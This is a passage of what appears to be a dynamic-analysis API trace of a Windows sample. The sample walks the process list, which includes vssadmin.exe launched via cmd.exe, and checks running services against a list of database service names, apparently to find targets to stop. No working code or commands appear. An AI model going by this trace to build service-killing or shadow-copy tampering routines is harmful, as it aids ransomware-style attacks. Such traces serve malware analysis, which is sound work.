hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0047.657] lstrlenW (lpString="addition.exe") returned 12 [0047.657] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0047.658] lstrlenW (lpString="kept retirement.exe") returned 19 [0047.658] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0047.658] lstrlenW (lpString="lmmold.exe") returned 10 [0047.658] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0047.659] lstrlenW (lpString="soma weighted.exe") returned 17 [0047.659] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0047.659] lstrlenW (lpString="cartridge donation.exe") returned 22 [0047.659] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0047.660] lstrlenW (lpString="anti.exe") returned 8 [0047.660] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0047.660] lstrlenW (lpString="cashiersshot.exe") returned 16 [0047.660] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0047.661] lstrlenW (lpString="poundfi.exe") returned 11 [0047.661] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0047.661] lstrlenW (lpString="conditions_hired.exe") returned 20 [0047.661] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0047.662] lstrlenW (lpString="mercedes.exe") returned 12 [0047.662] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0047.662] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0047.662] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0047.663] lstrlenW (lpString="training_wiring.exe") returned 19 [0047.663] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0047.663] lstrlenW (lpString="democratic.exe") returned 14 [0047.663] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0047.664] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0047.664] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0047.664] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0047.664] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0047.665] lstrlenW (lpString="documented.exe") returned 14 [0047.665] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.665] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.665] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0047.666] lstrlenW (lpString="n.exe") returned 5 [0047.666] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.666] lstrlenW (lpString="cmd.exe") returned 7 [0047.666] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.667] lstrlenW (lpString="conhost.exe") returned 11 [0047.667] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.667] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.667] Process32NextW (in: hSnapshot=0x19c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0047.668] CloseHandle (hObject=0x19c) returned 1 [0047.668] Sleep (dwMilliseconds=0x1f4) [0048.505] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73ffc0 [0048.505] EnumServicesStatusExW (in: hSCManager=0x73ffc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0048.505] GetLastError () returned 0xea [0048.505] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x3a706f0 [0048.506] EnumServicesStatusExW (in: hSCManager=0x73ffc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a706f0, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a706f0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0048.506] CloseServiceHandle (hSCObject=0x73ffc0) returned 1 [0048.506] lstrlenW (lpString="Appinfo") returned 7 [0048.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.506] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.506] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.506] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.506] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.506] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.507] lstrlenW (lpString="AudioSrv") returned 8 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.507] lstrlenW (lpString="BFE") returned 3 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.507] lstrlenW (lpString="CryptSvc") returned 8 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.507] lstrlenW (lpString="CscService") returned 10 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.507] lstrlenW (lpString="DcomLaunch") returned 10 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.507] lstrlenW (lpString="Dhcp") returned 4 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.507] lstrlenW (lpString="Dnscache") returned 8 [0048.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.508] lstrlenW (lpString="DPS") returned 3 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.508] lstrlenW (lpString="eventlog") returned 8 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.508] lstrlenW (lpString="EventSystem") returned 11 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.508] lstrlenW (lpString="gpsvc") returned 5 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.508] lstrlenW (lpString="iphlpsvc") returned 8 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.508] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.508] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.508] lstrlenW (lpString="LanmanServer") returned 12 [0048.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.509] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.509] lstrlenW (lpString="lmhosts") returned 7 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.509] lstrlenW (lpString="MMCSS") returned 5 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.509] lstrlenW (lpString="MpsSvc") returned 6 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.509] lstrlenW (lpString="Netman") returned 6 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.509] lstrlenW (lpString="netprofm") returned 8 [0048.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.509] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.510] lstrlenW (lpString="NlaSvc") returned 6 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.510] lstrlenW (lpString="nsi") returned 3 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.510] lstrlenW (lpString="PcaSvc") returned 6 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.510] lstrlenW (lpString="PlugPlay") returned 8 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.510] lstrlenW (lpString="Power") returned 5 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.510] lstrlenW (lpString="ProfSvc") returned 7 [0048.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.510] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.511] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.511] lstrlenW (lpString="RpcSs") returned 5 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.511] lstrlenW (lpString="SamSs") returned 5 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.511] lstrlenW (lpString="Schedule") returned 8 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.511] lstrlenW (lpString="SENS") returned 4 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.511] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.511] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.511] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.511] lstrlenW (lpString="Spooler") returned 7 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.512] lstrlenW (lpString="SysMain") returned 7 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.512] lstrlenW (lpString="Themes") returned 6 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.512] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.512] lstrlenW (lpString="TrkWks") returned 6 [0048.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.512] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.512] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 